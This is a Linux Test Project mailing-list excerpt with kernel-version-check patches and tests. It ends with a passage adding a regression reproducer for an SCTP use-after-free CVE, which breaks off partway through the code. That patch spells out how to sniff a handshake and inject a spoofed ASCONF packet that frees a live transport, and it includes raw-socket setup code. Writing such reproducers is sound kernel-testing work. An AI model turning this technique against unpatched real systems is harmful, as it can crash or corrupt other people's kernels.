 1 file changed, 5 insertions(+), 5 deletions(-)

diff --git a/lib/tst_test.c b/lib/tst_test.c
index a147521e9d..5e64fb5b63 100644
--- a/lib/tst_test.c
+++ b/lib/tst_test.c
@@ -1058,11 +1058,11 @@ static void do_exit(int ret)
 }
 
 /*
- * Check for the required kernel version.
+ * Check for the minimal required kernel version.
  *
  * return: true if the kernel version is high enough, false otherwise.
  */
-static bool check_kver(const char *min_kver, const int brk_nosupp)
+static bool check_min_kver(const char *min_kver, const int brk_nosupp)
 {
 	char *msg;
 	int v1, v2, v3;
@@ -1457,7 +1457,7 @@ static void do_setup(int argc, char *argv[])
 		tst_brk(TCONF, "Test needs to be run as root");
 
 	if (tst_test->min_kver)
-		check_kver(tst_test->min_kver, 1);
+		check_min_kver(tst_test->min_kver, 1);
 
 	if (tst_test->skip_in_lockdown && tst_lockdown_enabled() > 0)
 		tst_brk(TCONF, "Kernel is locked down, skipping test");
@@ -1580,7 +1580,7 @@ static void do_setup(int argc, char *argv[])
 				tst_check_cmd(tst_test->filesystems->mkfs_ver, 1);
 
 			if (tst_test->filesystems && tst_test->filesystems->min_kver)
-				check_kver(tst_test->filesystems->min_kver, 1);
+				check_min_kver(tst_test->filesystems->min_kver, 1);
 
 			prepare_device(tst_test->filesystems);
 		}
@@ -1984,7 +1984,7 @@ static void run_tcase_on_fs(struct tst_fs *fs, const char *fs_type)
 	if (fs->mkfs_ver && !tst_check_cmd(fs->mkfs_ver, 0))
 		return;
 
-	if (fs->min_kver && !check_kver(fs->min_kver, 0))
+	if (fs->min_kver && !check_min_kver(fs->min_kver, 0))
 		return;
 
 	prepare_device(fs);
-- 
2.55.0


From pvorel@suse.cz  Mon Aug 10 18:00:44 2026
From: pvorel@suse.cz (Petr Vorel)
Date: Mon, 10 Aug 2026 18:00:44 +0200
Subject: [LTP] [PATCH v5 3/7] lib: Add support for max_kver to struct
 tst_test and tst_fs
In-Reply-To: <20260810160048.1040517-1-pvorel@suse.cz>
References: <20260810160048.1040517-1-pvorel@suse.cz>
Message-ID: <20260810160048.1040517-4-pvorel@suse.cz>

max_kver adds a support to require a maximal kernel version the test can
run on. e.g. "7.2" (mainline release) or "6.1.180" (stable release).

NOTE: Mainline release is sufficient on any stable release (test with
.min_kver = "7.1" runs also on kernel 7.1.5). Stable releases are
compared as expected.

Signed-off-by: Petr Vorel <pvorel@suse.cz>
---
The same as in v4.

 doc/developers/writing_tests.rst |  3 +++
 include/tst_test.h               | 13 +++++++++-
 lib/tst_test.c                   | 43 ++++++++++++++++++++++++++++++++
 3 files changed, 58 insertions(+), 1 deletion(-)

diff --git a/doc/developers/writing_tests.rst b/doc/developers/writing_tests.rst
index 0edf101ff9..d3f5800730 100644
--- a/doc/developers/writing_tests.rst
+++ b/doc/developers/writing_tests.rst
@@ -404,6 +404,9 @@ LTP C And Shell Test API Comparison
     * - .min_kver
       - TST_MIN_KVER
 
+    * - .max_kver
+      - not implemented
+
     * - .min_mem_avail
       - not applicable
 
diff --git a/include/tst_test.h b/include/tst_test.h
index c69362485e..30c32b844e 100644
--- a/include/tst_test.h
+++ b/include/tst_test.h
@@ -280,6 +280,9 @@ struct tst_ulimit_val {
  *
  * @min_kver: A minimum kernel version supporting the filesystem which has been
  *            created with mkfs.
+ *
+ * @max_kver: A maximum kernel version supporting the filesystem which has been
+ *            created with mkfs.
  */
 struct tst_fs {
 	const char *type;
@@ -292,6 +295,7 @@ struct tst_fs {
 	const void *mnt_data;
 
 	const char *min_kver;
+	const char *max_kver;
 };
 
 /**
@@ -301,7 +305,13 @@ struct tst_fs {
  *        and each time passed an increasing counter value.
  * @options: An NULL optstr terminated array of struct tst_option.
  *
- * @min_kver: A minimal kernel version the test can run on. e.g. "3.10".
+ * @min_kver: A minimal kernel version the test can run on. e.g. "4.4" (mainline
+ * release) or "6.1.180" (stable release).
+ *
+ * @max_kver: A maximal kernel version the test can run on. e.g. "7.2" (mainline
+ * release) or "6.1.180" (stable release). NOTE: Mainline release is sufficient
+ * on any stable release (test with ``max_kver = "7.1"`` runs also on kernel
+ * 7.1.5). Stable releases are compared as expected.
  *
  * @supported_archs: A NULL terminated array of architectures the test runs on
  *                   e.g. {"x86_64, "x86", NULL}. Calls tst_is_on_arch() to
@@ -551,6 +561,7 @@ struct tst_fs {
 	struct tst_option *options;
 
 	const char *min_kver;
+	const char *max_kver;
 
 	const char *const *supported_archs;
 
diff --git a/lib/tst_test.c b/lib/tst_test.c
index 5e64fb5b63..c849401f33 100644
--- a/lib/tst_test.c
+++ b/lib/tst_test.c
@@ -1083,6 +1083,40 @@ static bool check_min_kver(const char *min_kver, const int brk_nosupp)
 	return true;
 }
 
+/*
+ * Check for the maximal required kernel version.
+ *
+ * return: true if the kernel version is low enough, false otherwise.
+ */
+static bool check_max_kver(const char *max_kver, const int brk_nosupp)
+{
+	char *msg;
+	int dots, i, v1, v2, v3;
+
+	tst_parse_kver(max_kver, &v1, &v2, &v3);
+
+	for (i = 0, dots = 0; max_kver[i]; i++)
+		dots += (max_kver[i] == '.');
+
+	/*
+	 * For mainline kernel release without patch level (single dot e.g. "7.1")
+	 * ignore v3 (the sublevel): 7.1.x is always ok.
+	 * Do *not* ignore v3 on stable kernel release (2 dots, e.g. 7.1.5).
+	 */
+	if (tst_kvercmp(v1, v2, v3) > (dots == 1 ? 1023 : 0)) {
+		msg = "The test requires kernel %s or older";
+
+		if (brk_nosupp)
+			tst_brk(TCONF, msg, max_kver);
+		else
+			tst_res(TCONF, msg, max_kver);
+
+		return false;
+	}
+
+	return true;
+}
+
 /*
  * Checks if the struct results values are equal.
  *
@@ -1459,6 +1493,9 @@ static void do_setup(int argc, char *argv[])
 	if (tst_test->min_kver)
 		check_min_kver(tst_test->min_kver, 1);
 
+	if (tst_test->max_kver)
+		check_max_kver(tst_test->max_kver, 1);
+
 	if (tst_test->skip_in_lockdown && tst_lockdown_enabled() > 0)
 		tst_brk(TCONF, "Kernel is locked down, skipping test");
 
@@ -1582,6 +1619,9 @@ static void do_setup(int argc, char *argv[])
 			if (tst_test->filesystems && tst_test->filesystems->min_kver)
 				check_min_kver(tst_test->filesystems->min_kver, 1);
 
+			if (tst_test->filesystems && tst_test->filesystems->max_kver)
+				check_max_kver(tst_test->filesystems->max_kver, 1);
+
 			prepare_device(tst_test->filesystems);
 		}
 	}
@@ -1987,6 +2027,9 @@ static void run_tcase_on_fs(struct tst_fs *fs, const char *fs_type)
 	if (fs->min_kver && !check_min_kver(fs->min_kver, 0))
 		return;
 
+	if (fs->max_kver && !check_max_kver(fs->max_kver, 0))
+		return;
+
 	prepare_device(fs);
 
 	fork_testrun();
-- 
2.55.0


From pvorel@suse.cz  Mon Aug 10 18:00:41 2026
From: pvorel@suse.cz (Petr Vorel)
Date: Mon, 10 Aug 2026 18:00:41 +0200
Subject: [LTP] [PATCH v5 0/7] Add support for .max_kver
Message-ID: <20260810160048.1040517-1-pvorel@suse.cz>

Hi all,

Changes v4->v5:
* Remove code which does metadata validation (3 commits, Cyril).
* Add commit to fix creat07.c timeout on test failure (agent).
* Use proper name for function (underscore at the end)
* Add one more test, increase max_kver in the test added previous
  version.

Link to v4:
https://lore.kernel.org/ltp/20260805151451.648990-1-pvorel@suse.cz/

Link to v3:
https://patchwork.kernel.org/project/ltp/list/?series=1138093&state=*
https://lore.kernel.org/ltp/20260731105132.187177-1-pvorel@suse.cz/T/#t

Link to v2:
https://lore.kernel.org/ltp/6a6a2091.9b80fa5d.4e4ae.7aac@mx.google.com/T/#t

Link to v1:
https://lore.kernel.org/ltp/20260729091717.23042-1-pvorel@suse.cz/T/#t
https://patchwork.ozlabs.org/project/ltp/list/?series=516120&state=*


Petr Vorel (7):
  tst_kvercmp: Factor out error handling
  lib: Rename function check_kver() => check_min_kver()
  lib: Add support for max_kver to struct tst_test and tst_fs
  creat07: Avoid timeout on the test failure
  creat07: execve04: Remove version check, add linux-git
  fanotify20: Skip on v7.2
  lib: Add 2 basic tests for .min_kver && .max_kver

 doc/developers/writing_tests.rst              |  3 +
 include/tst_test.h                            | 13 +++-
 lib/newlib_tests/.gitignore                   |  2 +
 lib/newlib_tests/runtest.sh                   |  2 +
 lib/newlib_tests/tst_max_kver_old.c           | 21 +++++++
 lib/newlib_tests/tst_min_kver_max_kver.c      | 22 +++++++
 lib/tst_kvercmp.c                             | 23 ++++++--
 lib/tst_test.c                                | 59 +++++++++++++++----
 testcases/kernel/syscalls/creat/creat07.c     | 23 ++++----
 testcases/kernel/syscalls/execve/execve04.c   | 24 ++++----
 .../kernel/syscalls/fanotify/fanotify20.c     |  4 ++
 11 files changed, 156 insertions(+), 40 deletions(-)
 create mode 100644 lib/newlib_tests/tst_max_kver_old.c
 create mode 100644 lib/newlib_tests/tst_min_kver_max_kver.c

-- 
2.55.0


From pvorel@suse.cz  Mon Aug 10 18:00:48 2026
From: pvorel@suse.cz (Petr Vorel)
Date: Mon, 10 Aug 2026 18:00:48 +0200
Subject: [LTP] [PATCH v5 7/7] lib: Add 2 basic tests for .min_kver &&
 .max_kver
In-Reply-To: <20260810160048.1040517-1-pvorel@suse.cz>
References: <20260810160048.1040517-1-pvorel@suse.cz>
Message-ID: <20260810160048.1040517-8-pvorel@suse.cz>

* tst_max_kver_old.c
Basic test to test .max_kver detection works. Test should TCONF due
running on newer kernel.

* tst_min_kver_max_kver.c
Basic test to test that .min_kver and .max_kver can be used together.
Test should TCONF or TPASS.

Signed-off-by: Petr Vorel <pvorel@suse.cz>
---
Changes v4->v5:
* Add one more test, increase max_kver in the test added previous
  version.

 lib/newlib_tests/.gitignore              |  2 ++
 lib/newlib_tests/runtest.sh              |  2 ++
 lib/newlib_tests/tst_max_kver_old.c      | 21 +++++++++++++++++++++
 lib/newlib_tests/tst_min_kver_max_kver.c | 22 ++++++++++++++++++++++
 4 files changed, 47 insertions(+)
 create mode 100644 lib/newlib_tests/tst_max_kver_old.c
 create mode 100644 lib/newlib_tests/tst_min_kver_max_kver.c

diff --git a/lib/newlib_tests/.gitignore b/lib/newlib_tests/.gitignore
index b851638246..d55e38bb29 100644
--- a/lib/newlib_tests/.gitignore
+++ b/lib/newlib_tests/.gitignore
@@ -72,3 +72,5 @@ test_brk_pass
 test_brk_variant
 test_fail_variant
 test_cpu_vendor
+tst_max_kver_old
+tst_min_kver_max_kver
diff --git a/lib/newlib_tests/runtest.sh b/lib/newlib_tests/runtest.sh
index 71808ef8b8..ad38d845a3 100755
--- a/lib/newlib_tests/runtest.sh
+++ b/lib/newlib_tests/runtest.sh
@@ -26,6 +26,8 @@ tst_device
 tst_expiration_timer
 tst_filesystems01
 tst_fuzzy_sync0[1-3]
+tst_max_kver_old
+tst_min_kver_max_kver
 tst_needs_cmds0[1-36-8]
 tst_res_hexd
 tst_safe_sscanf
diff --git a/lib/newlib_tests/tst_max_kver_old.c b/lib/newlib_tests/tst_max_kver_old.c
new file mode 100644
index 0000000000..3b03f555b6
--- /dev/null
+++ b/lib/newlib_tests/tst_max_kver_old.c
@@ -0,0 +1,21 @@
+// SPDX-License-Identifier: GPL-2.0-or-later
+/*
+ * Copyright (c) 2026 Petr Vorel <pvorel@suse.cz>
+ */
+
+/*
+ * Basic test to test .max_kver detection works.
+ * Test should TCONF due running on newer kernel.
+ */
+
+#include "tst_test.h"
+
+static void do_test(void)
+{
+	tst_res(TFAIL, "Really running on kernel 1.0?");
+}
+
+static struct tst_test test = {
+	.max_kver = "1.0",
+	.test_all = do_test,
+};
diff --git a/lib/newlib_tests/tst_min_kver_max_kver.c b/lib/newlib_tests/tst_min_kver_max_kver.c
new file mode 100644
index 0000000000..5c1b0b3a29
--- /dev/null
+++ b/lib/newlib_tests/tst_min_kver_max_kver.c
@@ -0,0 +1,22 @@
+// SPDX-License-Identifier: GPL-2.0-or-later
+/*
+ * Copyright (c) 2026 Petr Vorel <pvorel@suse.cz>
+ */
+
+/*
+ * Basic test to test that .min_kver and .max_kver can be used together.
+ * Test should TCONF or TPASS.
+ */
+
+#include "tst_test.h"
+
+static void do_test(void)
+{
+	tst_res(TPASS, "Test has sufficient kernel version");
+}
+
+static struct tst_test test = {
+	.min_kver = "4.4",
+	.max_kver = "7.2",
+	.test_all = do_test,
+};
-- 
2.55.0


From pvorel@suse.cz  Mon Aug 10 18:00:46 2026
From: pvorel@suse.cz (Petr Vorel)
Date: Mon, 10 Aug 2026 18:00:46 +0200
Subject: [LTP] [PATCH v5 5/7] creat07: execve04: Remove version check,
 add linux-git
In-Reply-To: <20260810160048.1040517-1-pvorel@suse.cz>
References: <20260810160048.1040517-1-pvorel@suse.cz>
Message-ID: <20260810160048.1040517-6-pvorel@suse.cz>

Kernel commit 2a010c412853 ("fs: don't block i_writecount during exec")
from 6.11-rc1 was reverted in 3b832035387f ("Revert "fs: don't block
i_writecount during exec"") in v6.13-rc1 and backported into v6.11.11
and v6.12.2. Due LTP "no hide kernel bugs" policy remove kernel version
limitation and add missing linux-git tag.

Reviewed-by: Andrea Cervesato <andrea.cervesato@suse.com>
Reported-by: Cyril Hrubis <chrubis@suse.cz>
Signed-off-by: Petr Vorel <pvorel@suse.cz>
---
The same as in v4.

 testcases/kernel/syscalls/creat/creat07.c   | 20 ++++++++---------
 testcases/kernel/syscalls/execve/execve04.c | 24 ++++++++++-----------
 2 files changed, 22 insertions(+), 22 deletions(-)

diff --git a/testcases/kernel/syscalls/creat/creat07.c b/testcases/kernel/syscalls/creat/creat07.c
index 1de1b46621..92ff7d2682 100644
--- a/testcases/kernel/syscalls/creat/creat07.c
+++ b/testcases/kernel/syscalls/creat/creat07.c
@@ -6,6 +6,12 @@
 
 /*\
  * Check that :manpage:`creat(2)` sets ETXTBSY correctly.
+ *
+ * NOTE: write to executed file was allowed in 6.11-rc1:
+ * 2a010c412853 ("fs: don't block i_writecount during exec")
+ * but then reverted in v6.13-rc1:
+ * 3b832035387f ("Revert "fs: don't block i_writecount during exec""),
+ * backported into v6.11.11 and v6.12.2.
  */
 
 #include <sys/types.h>
@@ -48,20 +54,14 @@ kill:
 	SAFE_WAITPID(pid, NULL, 0);
 }
 
-static void setup(void)
-{
-	if ((tst_kvercmp(6, 11, 0)) >= 0) {
-		tst_brk(TCONF, "Skipping test, write to executed file is "
-			"allowed since 6.11-rc1.\n"
-			"2a010c412853 (\"fs: don't block i_writecount during exec\")");
-	}
-}
-
 static struct tst_test test = {
-	.setup = setup,
 	.test_all = verify_creat,
 	.needs_checkpoints = 1,
 	.forks_child = 1,
+	.tags = (const struct tst_tag[]) {
+		{"linux-git", "3b832035387ff508fdcf0fba66701afc78f79e3d"},
+		{}
+	},
 	.resource_files = (const char *const []) {
 		TEST_APP,
 		NULL
diff --git a/testcases/kernel/syscalls/execve/execve04.c b/testcases/kernel/syscalls/execve/execve04.c
index 35ec882a07..314710a32d 100644
--- a/testcases/kernel/syscalls/execve/execve04.c
+++ b/testcases/kernel/syscalls/execve/execve04.c
@@ -9,8 +9,14 @@
  */
 
 /*\
- * Attempt to :manpage:`execve(2)` a file which is being opened by another process for
- * writing fails with ETXTBSY.
+ * Attempt to :manpage:`execve(2)` a file which is being opened by another
+ * process for writing fails with ETXTBSY.
+ *
+ * NOTE: write to executed file was allowed in 6.11-rc1:
+ * 2a010c412853 ("fs: don't block i_writecount during exec")
+ * but then reverted in v6.13-rc1:
+ * 3b832035387f ("Revert "fs: don't block i_writecount during exec""),
+ * backported into v6.11.11 and v6.12.2.
  */
 
 #define _GNU_SOURCE
@@ -62,21 +68,15 @@ static void do_child(void)
 	exit(0);
 }
 
-static void setup(void)
-{
-	if ((tst_kvercmp(6, 11, 0)) >= 0) {
-		tst_brk(TCONF, "Skipping test, write to executed file is "
-			"allowed since 6.11-rc1.\n"
-			"2a010c412853 (\"fs: don't block i_writecount during exec\")");
-	}
-}
-
 static struct tst_test test = {
-	.setup = setup,
 	.test_all = verify_execve,
 	.forks_child = 1,
 	.child_needs_reinit = 1,
 	.needs_checkpoints = 1,
+	.tags = (const struct tst_tag[]) {
+		{"linux-git", "3b832035387ff508fdcf0fba66701afc78f79e3d"},
+		{}
+	},
 	.resource_files = (const char *const []) {
 		TEST_APP,
 		NULL
-- 
2.55.0


From pvorel@suse.cz  Mon Aug 10 18:00:47 2026
From: pvorel@suse.cz (Petr Vorel)
Date: Mon, 10 Aug 2026 18:00:47 +0200
Subject: [LTP] [PATCH v5 6/7] fanotify20: Skip on v7.2
In-Reply-To: <20260810160048.1040517-1-pvorel@suse.cz>
References: <20260810160048.1040517-1-pvorel@suse.cz>
Message-ID: <20260810160048.1040517-7-pvorel@suse.cz>

fanotify_init() used to reject FAN_REPORT_PIDFD combined with
FAN_REPORT_TID with EINVAL. Since Linux v7.2, fanotify supports
reporting pidfds for thread IDs, so this combination is expected to
succeed.

The test that these flag combinations are allowed:
                FLAGS_DESC(FAN_REPORT_PIDFD | FAN_REPORT_TID),
		FLAGS_DESC(FAN_REPORT_PIDFD | FAN_REPORT_FID |
			   FAN_REPORT_DFID_NAME),

Because the above flag combinations are already "tested" by the tests
that use them and we don't have any tests that >= 5.10 has support for
FAN_MARK_FILESYSTEM etc just simply skip the test on v7.2.

Reported-by: AnonymeMeow <anonymemeow@gmail.com>
Suggested-by: Amir Goldstein <amir73il@gmail.com>
Reviewed-by: Jan Kara <jack@suse.cz>
Reviewed-by: Andrea Cervesato <andrea.cervesato@suse.com>
Signed-off-by: Petr Vorel <pvorel@suse.cz>
---
The same as in v4.

 testcases/kernel/syscalls/fanotify/fanotify20.c | 4 ++++
 1 file changed, 4 insertions(+)

diff --git a/testcases/kernel/syscalls/fanotify/fanotify20.c b/testcases/kernel/syscalls/fanotify/fanotify20.c
index b32ecf6aa3..db4a5ba63b 100644
--- a/testcases/kernel/syscalls/fanotify/fanotify20.c
+++ b/testcases/kernel/syscalls/fanotify/fanotify20.c
@@ -15,6 +15,9 @@
  *
  * NOTE: FAN_REPORT_PIDFD support was added in v5.15-rc1 in
  * af579beb666a ("fanotify: add pidfd support to the fanotify API").
+ *
+ * NOTE: since v7.2, fanotify supports reporting pidfds for thread IDs => skip
+ * the test.
  */
 
 #define _GNU_SOURCE
@@ -75,6 +78,7 @@ static void do_cleanup(void)
 
 static struct tst_test test = {
 	.setup = do_setup,
+	.max_kver = "7.1",
 	.test = do_test,
 	.tcnt = ARRAY_SIZE(test_cases),
 	.cleanup = do_cleanup,
-- 
2.55.0


From andrea.cervesato@suse.de  Mon Aug 10 18:28:29 2026
From: andrea.cervesato@suse.de (Andrea Cervesato)
Date: Mon, 10 Aug 2026 18:28:29 +0200
Subject: [LTP] [PATCH 2/2] cve/sctphantom: Add reproducer for CVE-2026-64564
In-Reply-To: <20260810-sctphantom-v1-0-f8e9ee72a648@suse.com>
References: <20260810-sctphantom-v1-0-f8e9ee72a648@suse.com>
Message-ID: <20260810-sctphantom-v1-2-f8e9ee72a648@suse.com>

From: Andrea Cervesato <andrea.cervesato@suse.com>

Add a reproducer for CVE-2026-64564, a use-after-free in the SCTP
Dynamic Address Reconfiguration (RFC 5061) DEL-IP processing.

This vulnerability was fixed upstream by commit 9b2854f86f0b ("sctp:
don't free the ASCONF's own transport in DEL-IP processing").

Signed-off-by: Andrea Cervesato <andrea.cervesato@suse.com>
Link: https://matrix.tencent.com/en/2026/08/06/sctphantom-CVE-2026-64564
---
 runtest/cve                |   1 +
 testcases/cve/.gitignore   |   1 +
 testcases/cve/sctphantom.c | 594 +++++++++++++++++++++++++++++++++++++++++++++
 3 files changed, 596 insertions(+)

diff --git a/runtest/cve b/runtest/cve
index 426b203e9..b096bacef 100644
--- a/runtest/cve
+++ b/runtest/cve
@@ -102,3 +102,4 @@ cve-2026-43494 io_uring04
 cve-2026-46300 xfrm02
 cve-2026-46300-skb-segment xfrm03
 cve-2026-46331 cve-2026-46331
+cve-2026-64564 sctphantom
diff --git a/testcases/cve/.gitignore b/testcases/cve/.gitignore
index 5aa038cd5..a167a8743 100644
--- a/testcases/cve/.gitignore
+++ b/testcases/cve/.gitignore
@@ -17,3 +17,4 @@ cve-2025-38236
 cve-2025-21756
 cve-2026-46331
 refluxfs
+sctphantom
diff --git a/testcases/cve/sctphantom.c b/testcases/cve/sctphantom.c
new file mode 100644
index 000000000..c89c5f9b4
--- /dev/null
+++ b/testcases/cve/sctphantom.c
@@ -0,0 +1,594 @@
+// SPDX-License-Identifier: GPL-2.0-or-later
+/*
+ * Copyright (c) 2026 Linux Test Project
+ */
+
+/*\
+ * Reproducer for CVE-2026-64564, a use-after-free in the SCTP Dynamic
+ * Address Reconfiguration (RFC 5061) DEL-IP processing, fixed upstream by
+ * commit 9b2854f86f0b ("sctp: don't free the ASCONF's own transport in
+ * DEL-IP processing").
+ *
+ * sctp_process_asconf() processes an ASCONF chunk against the transport
+ * cached in ``asconf->transport``. For an ASCONF located through its
+ * Address Parameter by __sctp_rcv_asconf_lookup() that transport
+ * corresponds to the Address Parameter, which need not be the packet
+ * source address. The DEL-IP source address guard (ADDIP D8) only
+ * protects the packet source, so a single ASCONF carrying
+ *
+ * - [Address Parameter L] [DEL-IP L] [DEL-IP 0.0.0.0]
+ *
+ * with L different from the packet source frees transport L through
+ * sctp_assoc_rm_peer(), and the wildcard DEL-IP then reuses the dangling
+ * ``asconf->transport`` in sctp_assoc_set_primary() and
+ * sctp_assoc_del_nonprimary_peers(), leaving the association with
+ * primary_path/active_path pointing at freed memory.
+ *
+ * [Algorithm]
+ *
+ * - Create a multihomed SCTP association on loopback between a server
+ *   socket bound to 127.0.0.1 and 127.0.0.2 and a client socket (victim)
+ * - Sniff the handshake on a raw socket to learn the client verification
+ *   tag and the server initial TSN (the expected ASCONF serial number)
+ * - Confirm the 127.0.0.2 secondary path with an on-demand heartbeat,
+ *   then disable heartbeats on all peer paths
+ * - Inject a forged ASCONF chunk sourced from 127.0.0.3 (not part of the
+ *   association) carrying [Address Parameter 127.0.0.2]
+ *   [DEL-IP 127.0.0.2] [DEL-IP 0.0.0.0]
+ * - Read the ASCONF-ACK: a fixed kernel rejects the first DEL-IP with
+ *   error cause 0x00a4 (SCTP_ERROR_REQ_REFUSED), a vulnerable kernel
+ *   reports success for both parameters
+ * - On a vulnerable kernel, wait for the RCU-deferred free and
+ *   dereference the stale primary path via :manpage:`getsockopt(2)`
+ *   SCTP_STATUS
+ *
+ * The test needs root to create raw sockets and to enable the
+ * net.sctp.addip_enable and net.sctp.addip_noauth_enable sysctls, which
+ * are restored after the run. The sysctls exist only while the sctp
+ * module is loaded, so the test reports TCONF if it is not (run
+ * ``modprobe sctp`` first). A vulnerable system may taint or crash.
+ */
+
+#include "tst_test.h"
+#include "tst_module.h"
+#include "tst_checksum.h"
+#include "tst_safe_net.h"
+
+#include "lapi/socket.h"
+#include "lapi/sctp.h"
+
+#define ADDR_PRIMARY	"127.0.0.1"	/* primary peer path, forged dst */
+#define ADDR_TARGET	"127.0.0.2"	/* secondary path freed by DEL-IP */
+#define ADDR_DUMMY	"127.0.0.254"	/* third path to keep transport_count > 1 */
+#define ADDR_SPOOF	"127.0.0.3"	/* forged ASCONF packet source */
+
+/* Mirror of the uapi struct sctp_paddrparams */
+struct tst_sctp_paddrparams {
+	int32_t		spp_assoc_id;
+	struct sockaddr_storage	spp_address;
+	uint32_t	spp_hbinterval;
+	uint16_t	spp_pathmaxrxt;
+	uint32_t	spp_pathmtu;
+	uint32_t	spp_sackdelay;
+	uint32_t	spp_flags;
+	uint32_t	spp_ipv6_flowlabel;
+	uint8_t		spp_dscp;
+} __attribute__((packed, aligned(4)));
+
+/* Mirror of the uapi struct sctp_paddrinfo */
+struct tst_sctp_paddrinfo {
+	int32_t		spinfo_assoc_id;
+	struct sockaddr_storage	spinfo_address;
+	int32_t		spinfo_state;
+	uint32_t	spinfo_cwnd;
+	uint32_t	spinfo_srtt;
+	uint32_t	spinfo_rto;
+	uint32_t	spinfo_mtu;
+} __attribute__((packed, aligned(4)));
+
+#define ASCONF_WIRE_LEN	48	/* hdr + serial + addr param + 2 x DEL-IP */
+
+static int cap_fd = -1;		/* captures all SCTP packets on loopback */
+static int raw_fd = -1;		/* injects the forged packet */
+static int srv_fd = -1;
+static int cli_fd = -1;
+static int acc_fd = -1;
+
+static uint16_t srv_port;
+static uint16_t cli_port;
+static uint32_t vtag_wire;	/* client initiate tag, network order */
+static uint32_t serial_wire;	/* server initial TSN, network order */
+
+static uint32_t addr4(const char *ip)
+{
+	struct in_addr addr;
+
+	if (inet_pton(AF_INET, ip, &addr) != 1)
+		tst_brk(TBROK, "inet_pton(%s) failed", ip);
+
+	return addr.s_addr;
+}
+
+static struct sockaddr_in sin4(const char *ip, uint16_t port)
+{
+	struct sockaddr_in sa = {
+		.sin_family = AF_INET,
+		.sin_port = htons(port),
+		.sin_addr.s_addr = addr4(ip),
+	};
+
+	return sa;
+}
+
+static uint16_t get16(const uint8_t *p)
+{
+	uint16_t val;
+
+	memcpy(&val, p, sizeof(val));
+	return ntohs(val);
+}
+
+static void put16(uint8_t *p, uint16_t val)
+{
+	uint16_t tmp = htons(val);
+
+	memcpy(p, &tmp, sizeof(tmp));
+}
+
+static void put32(uint8_t *p, uint32_t val)
+{
+	uint32_t tmp = htonl(val);
+
+	memcpy(p, &tmp, sizeof(tmp));
+}
+
+static void put_ip(uint8_t *p, const char *ip)
+{
+	uint32_t addr = addr4(ip);
+
+	memcpy(p, &addr, sizeof(addr));
+}
+
+static ssize_t cap_recv(uint8_t *buf, size_t size, int timeout_ms)
+{
+	struct pollfd pfd = { .fd = cap_fd, .events = POLLIN };
+
+	if (!SAFE_POLL(&pfd, 1, timeout_ms))
+		return 0;
+
+	return SAFE_RECV(0, cap_fd, buf, size, 0);
+}
+
+static void cap_drain(void)
+{
+	uint8_t buf[4096];
+	ssize_t ret;
+
+	do {
+		ret = recv(cap_fd, buf, sizeof(buf), MSG_DONTWAIT);
+	} while (ret > 0);
+
+	if (ret < 0 && errno != EAGAIN && errno != EWOULDBLOCK)
+		tst_brk(TBROK | TERRNO, "recv(MSG_DONTWAIT) failed");
+}
+
+/* Extract the SCTP part of a captured IPv4 packet */
+static uint8_t *sctp_part(uint8_t *pkt, ssize_t len, size_t *sctp_len)
+{
+	struct iphdr ip;
+	size_t ihl;
+
+	if (len < (ssize_t)sizeof(ip))
+		return NULL;
+
+	memcpy(&ip, pkt, sizeof(ip));
+	if (ip.version != 4 || ip.protocol != IPPROTO_SCTP)
+		return NULL;
+
+	ihl = ip.ihl * 4;
+	if (ihl < sizeof(ip) || (ssize_t)(ihl + 12) > len)
+		return NULL;
+
+	*sctp_len = len - ihl;
+	return pkt + ihl;
+}
+
+static void setup(void)
+{
+	int fd;
+	const struct tst_path_val sysctls[] = {
+		{"/proc/sys/net/sctp/addip_enable", "1", TST_SR_TCONF},
+		{"/proc/sys/net/sctp/addip_noauth_enable", "1", TST_SR_TCONF},
+		{}
+	};
+	const struct tst_path_val *sysctl;
+
+	tst_modprobe("sctp", NULL);
+
+	for (sysctl = sysctls; sysctl->path; sysctl++)
+		tst_sys_conf_save(sysctl);
+
+	fd = socket(AF_INET, SOCK_STREAM, IPPROTO_SCTP);
+	if (fd == -1) {
+		if (errno == EPROTONOSUPPORT || errno == ESOCKTNOSUPPORT)
+			tst_brk(TCONF, "SCTP is not supported by the kernel");
+		tst_brk(TBROK | TERRNO, "socket(IPPROTO_SCTP) failed");
+	}
+	SAFE_CLOSE(fd);
+
+	cap_fd = SAFE_SOCKET(AF_INET, SOCK_RAW, IPPROTO_SCTP);
+	raw_fd = SAFE_SOCKET(AF_INET, SOCK_RAW, IPPROTO_RAW);
+}
+
+static void close_socks(void)
+{
+	if (acc_fd != -1)
+		SAFE_CLOSE(acc_fd);
+	if (cli_fd != -1)
+		SAFE_CLOSE(cli_fd);
+	if (srv_fd != -1)
+		SAFE_CLOSE(srv_fd);
+}
+
+static void cleanup(void)
+{
+	close_socks();
+
+	if (raw_fd != -1)
+		SAFE_CLOSE(raw_fd);
+	if (cap_fd != -1)
+		SAFE_CLOSE(cap_fd);
+}
+
+static void setup_association(void)
+{
+	struct sockaddr_in sa;
+	struct sockaddr_in addrs[2];
+
+	srv_fd = SAFE_SOCKET(AF_INET, SOCK_STREAM, IPPROTO_SCTP);
+	sa = sin4(ADDR_PRIMARY, 0);
+	SAFE_BIND(srv_fd, (struct sockaddr *)&sa, sizeof(sa));
+	srv_port = TST_GETSOCKPORT(srv_fd);
+
+	/* the client learns the second and third peer addresses from the INIT-ACK */
+	addrs[0] = sin4(ADDR_TARGET, srv_port);
+	addrs[1] = sin4(ADDR_DUMMY, srv_port);
+	SAFE_SETSOCKOPT(srv_fd, SOL_SCTP, SCTP_SOCKOPT_BINDX_ADD,
+			addrs, sizeof(addrs));
+
+	SAFE_LISTEN(srv_fd, 1);
+
+	cap_drain();
+
+	cli_fd = SAFE_SOCKET(AF_INET, SOCK_STREAM, IPPROTO_SCTP);
+	sa = sin4(ADDR_PRIMARY, srv_port);
+	SAFE_CONNECT(cli_fd, (struct sockaddr *)&sa, sizeof(sa));
+	cli_port = TST_GETSOCKPORT(cli_fd);
+
+	acc_fd = SAFE_ACCEPT(srv_fd, NULL, NULL);
+}
+
+/*
+ * Read the handshake captured on loopback: the client initiate tag is the
+ * verification tag the victim expects and the server initial TSN is the
+ * first ASCONF serial number the victim accepts (ADDIP E1).
+ */
+static void sniff_handshake(void)
+{
+	uint8_t buf[4096];
+	int got_init = 0, got_initack = 0;
+	int tries;
+
+	for (tries = 0; tries < 10 && (!got_init || !got_initack); tries++) {
+		uint8_t *sctp, *ch, *end;
+		uint16_t sport, dport;
+		size_t sctp_len;
+		ssize_t len;
+
+		len = cap_recv(buf, sizeof(buf), 200);
+		if (!len)
+			continue;
+
+		sctp = sctp_part(buf, len, &sctp_len);
+		if (!sctp)
